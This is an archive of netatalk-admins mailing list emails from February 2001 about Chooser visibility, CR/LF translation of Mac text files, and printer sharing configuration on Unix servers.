Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA28328
	for <netatalk-admins@umich.edu>; Fri, 2 Feb 2001 23:36:28 -0500 (EST)
Received: from n243-25.berlin.snafu.de ([195.21.243.25] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14OuR7-0003Fv-00
	for netatalk-admins@umich.edu; Sat, 03 Feb 2001 05:36:33 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id FAA07496
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 05:35:12 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Chooser Problems...
Date: Sat, 3 Feb 2001 05:22:27 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <p05010400b6a0fabd94b2@[192.168.1.103]> <3A7B4DEC.3EDAF0FF@mail.iowna.com> <p05010401b6a10032dd35@[192.168.1.103]>
In-Reply-To: <p05010401b6a10032dd35@[192.168.1.103]>
MIME-Version: 1.0
Message-Id: <01020305335501.29407@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id XAA13904

On Sat, 03 Feb 2001, Bean Visger wrote:
> ah yes, sorry I didn't include that as well, it is running, and I am 
> able to connect via IP address from the chooser, it just won't show 
> in the list. thx :)
> 
> 	-Bean
> 
> >I could be wrong, but it seems like you don't have appletalk support in
> >your kernel. Are you sure Netatalk is running at all? Can you connect at
> >all (with an IP addy?)
> >A default kernel won't have appletalk support. You'll have to add:
> >options		NETATALK
> >and recompile your kernel, then (sorry) reboot.
> >
> >-Bill
> >
> >Bean Visger wrote:
> >>
> >>  howdy, trying to get the server name to show up in Chooser,
> >>  webmonkeys are lazy and don't like typing in IP address...
> >>
> >>  here are the specs:
> >>
> >>  FreeBSD 4.1-RELEASE
> >>  netatalk-1.4b2+asun2.1.3_1
> >>
> >>  content of atalkd.conf:
> >>          fxp0 -phase 2 -net 0-65534 -addr 65280.103
> >>  content of afpd.conf:
> >>          servo "Tom Servo" -transall
> >>
> >>  when I try & restart netatalk, I get these syslog messages:
> >>
> >>  Feb  2 15:51:14 servo papd[30656]: restart (1.4b2+asun2.1.3)
> >>  Feb  2 15:51:14 servo papd[30656]: atp_open: Protocol not supported
> >>  Feb  2 15:51:14 servo afpd[30658]: main: atp_open: Protocol not supported
> >>
> >>  any ideas? it almost sounds like netatalk isn't shutting down /
> >>  starting up properly... I'd really rather not reboot the box, I'm an
> >>  uptime whore :)
> >>
> >  >         thanks,
> >  >          -Rebecca 'Bean' Visger
> >  >          System Administrator / Smith & Jones

I thought they would be necessary in any case to make appletalk work,
but do you have the appletalk entries in your /etc/services:

#
# make apple talk more friendly
#
rtmp            1/ddp           # Routing Table Maintenance Protocol
nbp             2/ddp           # Name Binding Protocol
echo            4/ddp           # AppleTalk Echo Protocol
zip             6/ddp           # Zone Information Protocol
 
#
# Appletalk
#
afpovertcp      548/tcp         # AFP over TCP
afpovertcp      548/udp         # AFP over UCP

?

Just an idea, since your server doesn't show up in the chooser list.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sat Feb  3 01:21:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA16060
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 01:21:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA01266
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 01:21:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA01228
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 01:21:54 -0500 (EST)
Received: from icompute.com ([209.46.8.66])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA01139
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 01:21:51 -0500 (EST)
Received: from [209.46.8.69] (209.46.8.69) by icompute.com with ESMTP (Eudora
 Internet Mail Server 2.2.2); Sat, 3 Feb 2001 00:21:49 -0600
X-Sender: donlee_in@icompute.com
Message-Id: <v03130300b6a151cfb618@[209.46.8.69]>
In-Reply-To: <6425.981120222@dis.strath.ac.uk>
References: <B69F324C.DD9%jeremy@wellsgaming.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 3 Feb 2001 00:16:26 -0600
To: netatalk-admins@umich.edu
From: Donald Lee <donlee_nat@icompute.com>
Subject: Re: CRLF fun stuff again...
Cc: jeremy@wellsgaming.com, sinclair@dis.strath.ac.uk

At 7:23 AM -0600 2/2/01, Duncan Sinclair wrote:
>Hi,
>
>Jeremy writes:
>>Hello,
>>    I have just installed netatalk 1.4b2 and cannot get it to do the
>>CRLF->LF translation when copying files from a Mac to my Linux machine.
>
>> ...
>
>>The files I copy over are text files with the .txt extension generated by
>>Visual FoxPro (FOXX).  Any ideas?
>
>This is (as far as I'm concerned) the single biggest bug in netatalk.
>
>The problem is that the cr/lf translation only happens when netatalk
>sees that the file is text before it is written.  Unfortunately, since
>MacOS 8, the Finder doesn't set the file type to TEXT until after the
>copy is finished.  Thus no cr/lf conversion.
>
> etc...

There has been a lot of discussion of the CR/LF translations on this list.

If I may add my two cents, I think it's a bad idea for the filesystem to
effectively blindly fondle and convert the data.  There are plenty of tools
out there, like bbedit, that handle text files regardless of how their
line endings are done.

The downside of a problem with the CR/LF "feature" is irretrievably corrupted
data.  What you get for this is arguably a minor "convenience".

I think it's a bad trade.

I keep it turned off, and recommend this to all who ask.

-dgl-



From netatalk.administrators-errors@umich.edu  Sat Feb  3 01:44:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA16353
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 01:44:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA29380
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 01:44:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA29356
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 01:44:35 -0500 (EST)
Received: from chatlink.com (chatlink.com [63.172.78.61])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA29305
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 01:44:33 -0500 (EST)
Received: from swordblayde (modem-01-143.gp-dialup.net [63.172.50.143])
	by chatlink.com (8.9.3/8.9.3) with SMTP id WAA18662;
	Fri, 2 Feb 2001 22:44:24 -0800
Message-ID: <005001c08dac$5a7544e0$0202a8c0@swordblayde>
From: "Daniel Baker" <swordblayd@budget.net>
To: "Heath Henderson" <heath@dave-world.net>
Cc: <netatalk-admins@umich.edu>
References: <NDBBLIPGCLLELIOOICKOIELIDJAA.heath@dave-world.net>
Subject: Re: Mac Manager and Linux box as Group storage.
Date: Fri, 2 Feb 2001 22:41:33 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200


I set up something that sounds kinda like what you are decribing at work.

We have an internal FTP server that clients transfer files to via a DSL
line. Once the files are there, the CSR's are set up on the same group and
can read all the clients individual jailed ftp accounts. Another instance on
the same host is a share called public which only admin has access too for
sharing driver installers and updaters amoungst the Engineers.

Sound like what you were referring too?


---

Sincerly:
Daniel Baker.

Any Science or Profession that ceases to question itself becomes Religion.
(C-DB)

----- Original Message -----
From: "Heath Henderson" <heath@dave-world.net>
To: "Netatalk Admins" <netatalk-admins@umich.edu>; "Appletalk Netatalk
group" <linux-atalk@netspace.org>; <MAC-SUPPORTERS@JISCMAIL.AC.UK>
Sent: Friday, February 02, 2001 4:30 AM
Subject: Mac Manager and Linux box as Group storage.


> Has anyone set up a Linux box as the Location of Home
> directories/Groupstorage yet on Macintosh Manager (using OSX or even ASIP
> 6)?  I am wanting to implement this next year, but am not really sure how
to
> go about it yet.
>
> If anyone has suggestions/ideas/or experience, please drop me a line.
>
> Thanks
>
> Heath Henderson



From netatalk.administrators-errors@umich.edu  Sat Feb  3 07:08:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA21809
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 07:08:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24735
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 07:08:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24724
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 07:08:26 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA24698
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 07:08:24 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f13C8SZ12812;
	Sat, 3 Feb 2001 12:08:29 GMT
To: netatalk-admins@umich.edu
cc: Donald Lee <donlee_nat@icompute.com>
Subject: Re: CRLF fun stuff again... 
In-reply-to: Your message of "Sat, 03 Feb 2001 00:16:26 CST."
Date: Sat, 03 Feb 2001 12:08:28 +0000
Message-ID: <12810.981202108@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi Folks,

I wrote:
>Until now, every time I mention this problem, people tell me that I
>shouldn't want to do cr/lf translation, and it's an ugly hack.  My reply
>is that it is necessary for cross platform file manipulation, and I
>really, actually, want it, thank you very much.

Donald Lee writes:
>If I may add my two cents, I think it's a bad idea for the filesystem to
>effectively blindly fondle and convert the data.  There are plenty of tools
>out there, like bbedit, that handle text files regardless of how their
>line endings are done.
>
>The downside of a problem with the CR/LF "feature" is irretrievably corrupted
>data.  What you get for this is arguably a minor "convenience".
>
>I think it's a bad trade.
>
>I keep it turned off, and recommend this to all who ask.

This is the sort of thing I mean.  I know that BBEdit handles Unix
files transparently.  That's not what I'm interested in.  I want to
edit Mac-produced files on the Unix end.  Vi doesn't "do" Mac-style
line endings.  Nor does any other unix utility.  Nor should they.

Typical example... I have users that edit HTML pages using their
favourite HTML editor and then copy their pages to my server.  I later
may want to edit their pages from my Sun.  I first have to do the cr/lf
conversion myself.  I wouldn't have to do this if the cr/lf translation
worked properly.

If the cr/lf translation is done right there is _no_ corruption of
data, unless you try to do silly thing like edit binary files with
a text editor - a guarenteed way of corrupting data without any help
from the filesystem.

 [ A correctly configured netatalk setup only does cr/lf translation on
 Mac-produced TEXT files, and Unix-created files that by their
 extension are recognised as text by netatalk.  You should not configure
 netatalk to assume that unix files are text when it doesn't have a
 recognised extension. ]

If you don't want to use the cr/lf translation, then don't, but while
the feature exists in netatalk, it would be nice if it actually worked.

Cheers,



Duncan.


From netatalk.administrators-errors@umich.edu  Sat Feb  3 07:50:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA22351
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 07:50:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA19853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 07:50:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA19826
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 07:50:36 -0500 (EST)
Received: from c22234-e.scllg1.pa.home.com (c22234-e.scllg1.pa.home.com [24.7.220.49])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id HAA19773
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 07:50:35 -0500 (EST)
Received: (qmail 11646 invoked from network); 3 Feb 2001 12:50:33 -0000
Received: from c22234-d.scllg1.pa.home.com (HELO ?10.0.1.51?) (24.7.220.47)
  by c22234-e.scllg1.pa.home.com with SMTP; 3 Feb 2001 12:50:33 -0000
Mime-Version: 1.0
X-Sender: schinder@mors.gsfc.nasa.gov (Unverified)
Message-Id: <p05010400b6a1addb8388@[10.0.1.51]>
In-Reply-To: <12810.981202108@dis.strath.ac.uk>
References: <12810.981202108@dis.strath.ac.uk>
Date: Sat, 3 Feb 2001 07:50:27 -0500
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>, netatalk-admins@umich.edu
From: Paul Schinder <schinder@leprss.gsfc.nasa.gov>
Subject: Re: CRLF fun stuff again...
Cc: Donald Lee <donlee_nat@icompute.com>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:08 PM +0000 2/3/01, Duncan Sinclair wrote:
>This is the sort of thing I mean.  I know that BBEdit handles Unix
>files transparently.  That's not what I'm interested in.  I want to
>edit Mac-produced files on the Unix end.  Vi doesn't "do" Mac-style
>line endings.  Nor does any other unix utility.  Nor should they.

GNU emacs has no problems reading files with Mac end-of-line.  20.7 
even tells you what the line endings are (like Alpha, for example) 
and as I just verified, uses Mac EOL if you add lines to a Mac file.

xemacs, on the other hand, can't read Mac files.

-- 
--
Paul J. Schinder
NASA Goddard Space Flight Center
Code 693
schinder@leprss.gsfc.nasa.gov

From netatalk.administrators-errors@umich.edu  Sat Feb  3 12:14:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA26368
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 12:14:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25657
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 12:14:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25632
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 12:14:15 -0500 (EST)
Received: from barney.azapple.com (cpe-24-221-62-42.az.sprintbbd.net [24.221.62.42])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA25492
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 12:14:12 -0500 (EST)
Received: from fred (fred.azapple.com [192.168.2.1])
	by barney.azapple.com (8.11.0/8.11.0) with SMTP id f13HL4727410
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 10:21:06 -0700
From: "Craig White" <craigwhite@azapple.com>
To: <netatalk-admins@umich.edu>
Subject: printer sharing
Date: Sat, 3 Feb 2001 10:14:07 -0700
Message-ID: <KGEPKALNKFKLFJEAEKKACEDNDBAA.craigwhite@azapple.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <12810.981202108@dis.strath.ac.uk>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

Perhaps someone can give me a quick fix on this.

When I print from a Macintosh on the network, the jobs don't print and I get
the following in my syslog...

Feb  2 22:29:03 barney papd[857]: child 22961 for "felix2" from 65499.251
Feb  2 22:29:13 barney papd[22961]: lp_conn_unix connect /dev/printer:
Connection refused
Feb  2 22:29:13 barney papd[22961]: lp_print: lp_conn_unix: Connection
refused
Feb  2 22:29:13 barney papd[857]: child 22961 done

if I restart the lpd daemon, I get the message on screen

permissions of XXXXXXXbarney.azapple.com are 640 not 600
owner/group of XXXXXXXbarney.azapple.com are 0/0 not 4/7
changing ownership of XXXXXXXbarney.azapple.com to 4/7

and then the job will print.

my papd.conf...

felix2:\
	:pr=lp:\
	:op=lp:\
	:pd=/usr/lib/atalk/HPLJ_4M.PPD:

my /etc/printcap...
#
# This printcap is being created with printtool v.3.41
# Any changes made here manually will be lost if printtool
# is run later on.
# The presence of this header means that no printcap
# existed when printtool was run.
#
##PRINTTOOL3## LOCAL POSTSCRIPT 600x600 letter {} PostScript Default {}
lp|Felix2:sd=/var/spool/lpd/lp:sh:mx#0:if=/var/spool/lpd/lp/filter:lp=/dev/l
p0:

I've tried different op= and even without the op statement at all but it
doesn't seem to matter. How do I get print jobs to user.group 4.7 and
permissions to 600 and not 640 or simply, how can I print jobs that are
acceptable to lpd?



----:----|----:----|----:----|----:----|----:----|----:----|
- Craig White - PO Box 8634 - Scottsdale, Arizona - 85252
- e-mail address ................ - CraigWhite@AzApple.com
- world wide web address ........ - http://www.AzApple.com
- e-mail my pager address ....... - 6023779752@airtouch.net
- cellular phone ................ - (602) 377-9752
- voice/facsimile ............... - (480) 945-8445
----:----|----:----|----:----|----:----|----:----|----:----|


From netatalk.administrators-errors@umich.edu  Sat Feb  3 14:53:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29955
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 14:53:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27956
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 14:53:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27953
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 14:53:05 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA27931
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 14:53:03 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f13Jr7Z14294;
	Sat, 3 Feb 2001 19:53:08 GMT
To: netatalk-admins@umich.edu
Cc: Marc Miller <itlm019@mailbox.ucdavis.edu>
Subject: Re: CRLF fun stuff again... 
In-reply-to: Your message of "Sat, 03 Feb 2001 11:38:56 PST."
Date: Sat, 03 Feb 2001 19:53:07 +0000
Message-ID: <14292.981229987@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>


Marc Miller writes:
>Then perhaps that needs to be added to the other Unix text
>editors.  That's a more comprehensive solution than editing netatalk
>anyway.  It would allow people to take files produced by *any* *version*
>of netatalk regardless of what the cr/lf setting was set to on that
>machine.  My $0.02.
>

OK, so emacs, the Great Satan of Text Editors, (cf. www.theregister.co.uk)
can do mac line-ends.  That's because it has too many features, including
the ability to run on Unix and Mac and Windows, so it has to be able to
figure out different line endings.

But how easy would it be to get, say, Sun to change thier version of
vi to do Mac line-endings?  And grep, more, less, wc, awk, sed, and
all the other standard unix utilities?

Rather than change all these programs, wouldn't fixing netatalk be
a good idea?

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Sat Feb  3 16:23:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA01551
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 16:23:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA28004
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 16:23:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27987
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 16:23:31 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA27944
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 16:23:30 -0500 (EST)
Received: from n241-18.berlin.snafu.de ([195.21.241.18] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14PA9Y-0007io-00
	for netatalk-admins@umich.edu; Sat, 03 Feb 2001 22:23:29 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id WAA09743
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 22:20:33 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: printer sharing
Date: Sat, 3 Feb 2001 22:10:09 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <KGEPKALNKFKLFJEAEKKACEDNDBAA.craigwhite@azapple.com>
In-Reply-To: <KGEPKALNKFKLFJEAEKKACEDNDBAA.craigwhite@azapple.com>
MIME-Version: 1.0
Message-Id: <01020322203200.09529@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA01551

On Sat, 03 Feb 2001, Craig White wrote:
> Perhaps someone can give me a quick fix on this.
> 
> When I print from a Macintosh on the network, the jobs don't print and I get
> the following in my syslog...
> 
> Feb  2 22:29:03 barney papd[857]: child 22961 for "felix2" from 65499.251
> Feb  2 22:29:13 barney papd[22961]: lp_conn_unix connect /dev/printer:
> Connection refused
> Feb  2 22:29:13 barney papd[22961]: lp_print: lp_conn_unix: Connection
> refused
> Feb  2 22:29:13 barney papd[857]: child 22961 done
> 
> if I restart the lpd daemon, I get the message on screen
> 
> permissions of XXXXXXXbarney.azapple.com are 640 not 600
> owner/group of XXXXXXXbarney.azapple.com are 0/0 not 4/7
> changing ownership of XXXXXXXbarney.azapple.com to 4/7
> 
> and then the job will print.
> 
> my papd.conf...
> 
> felix2:\
> 	:pr=lp:\
> 	:op=lp:\
> 	:pd=/usr/lib/atalk/HPLJ_4M.PPD:
> 
> my /etc/printcap...
> #
> # This printcap is being created with printtool v.3.41
> # Any changes made here manually will be lost if printtool
> # is run later on.
> # The presence of this header means that no printcap
> # existed when printtool was run.
> #
> ##PRINTTOOL3## LOCAL POSTSCRIPT 600x600 letter {} PostScript Default {}
> lp|Felix2:sd=/var/spool/lpd/lp:sh:mx#0:if=/var/spool/lpd/lp/filter:lp=/dev/l
> p0:
> 
> I've tried different op= and even without the op statement at all but it
> doesn't seem to matter. How do I get print jobs to user.group 4.7 and
> permissions to 600 and not 640 or simply, how can I print jobs that are
> acceptable to lpd?

Change the entry in your papd.conf as follows:

felix2:\
 :pr=|/usr/bin/lpr -Plp:\
 :op=lp:\
 :pd=/usr/lib/atalk/HPLJ_4M.PPD:

That did it for me - I had very similar problems.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sat Feb  3 20:17:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA05471
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Feb 2001 20:17:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA05417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Feb 2001 20:17:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA05402
	for netatalk.administrators-members@umich.edu; Sat, 3 Feb 2001 20:17:06 -0500 (EST)
Received: from icompute.com ([209.46.8.66])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA05373
	for <netatalk-admins@umich.edu>; Sat, 3 Feb 2001 20:17:05 -0500 (EST)
Received: from [209.46.8.69] (209.46.8.69) by icompute.com with ESMTP (Eudora
 Internet Mail Server 2.2.2); Sat, 3 Feb 2001 19:17:02 -0600
X-Sender: donlee_in@icompute.com
Message-Id: <v03130300b6a25bc331ff@[209.46.8.69]>
In-Reply-To: <14292.981229987@dis.strath.ac.uk>
References: Your message of "Sat, 03 Feb 2001 11:38:56 PST."
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 3 Feb 2001 19:17:00 -0600
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>, netatalk-admins@umich.edu
From: Donald Lee <donlee_nat@icompute.com>
Subject: Re: CRLF fun stuff again...
Cc: Marc Miller <itlm019@mailbox.ucdavis.edu>

I'm the first to admit that it is really nice for the filesystem to
come to you, rather than to make the users cope with the varying
format of text files.  I also am not saying that efforts to "fix"
netatalk are not worthwhile.  I'm saying that given the varying
behavior of the MacOS, utilities, applications, etc.  It turns out to
be a hard problem, and there are cases where you end up thinking
files are TEXT when they're not (like Quark).

For my money, it's not worth the risk.  I don't want people to think
that the feature has a simple solution that will be complete and
reliable because they will likely get bitten.

The archives of this list have a *lot* of discussion on this topic.

-dgl-

At 1:53 PM -0600 2/3/01, Duncan Sinclair wrote:
>Marc Miller writes:
>>Then perhaps that needs to be added to the other Unix text
>>editors.  That's a more comprehensive solution than editing netatalk
>>anyway.  It would allow people to take files produced by *any* *version*
>>of netatalk regardless of what the cr/lf setting was set to on that
>>machine.  My $0.02.
>>
>
>OK, so emacs, the Great Satan of Text Editors, (cf. www.theregister.co.uk)
>can do mac line-ends.  That's because it has too many features, including
>the ability to run on Unix and Mac and Windows, so it has to be able to
>figure out different line endings.
>
>But how easy would it be to get, say, Sun to change thier version of
>vi to do Mac line-endings?  And grep, more, less, wc, awk, sed, and
>all the other standard unix utilities?
>
>Rather than change all these programs, wouldn't fixing netatalk be
>a good idea?
>
>Cheers,
>
>
>Duncan.




From netatalk.administrators-errors@umich.edu  Sun Feb  4 01:13:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA09918
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 01:13:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA20083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 01:13:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA20074
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 01:13:03 -0500 (EST)
Received: from wheelo.gsfc.nasa.gov (wheelo.gsfc.nasa.gov [128.183.254.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA20053
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 01:13:02 -0500 (EST)
Received: from leebert.gsfc.nasa.gov (leebert.gsfc.nasa.gov [128.183.33.38])
	by wheelo.gsfc.nasa.gov (8.9.3/8.9.3) with ESMTP id BAA21559
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 01:13:56 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by leebert.gsfc.nasa.gov (8.9.3+Sun/8.9.3) with ESMTP id BAA28318
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 01:12:29 -0500 (EST)
Date: Sun, 4 Feb 2001 01:12:29 -0500 (EST)
From: Lee Sheridan <lsherida@nccs.gsfc.nasa.gov>
Sender: lsherida@leebert.gsfc.nasa.gov
To: netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again...
In-Reply-To: <p05010400b6a1addb8388@[10.0.1.51]>
Message-ID: <Pine.GSO.4.21.0102040111200.28290-100000@leebert>
MIME-Version: 1.0
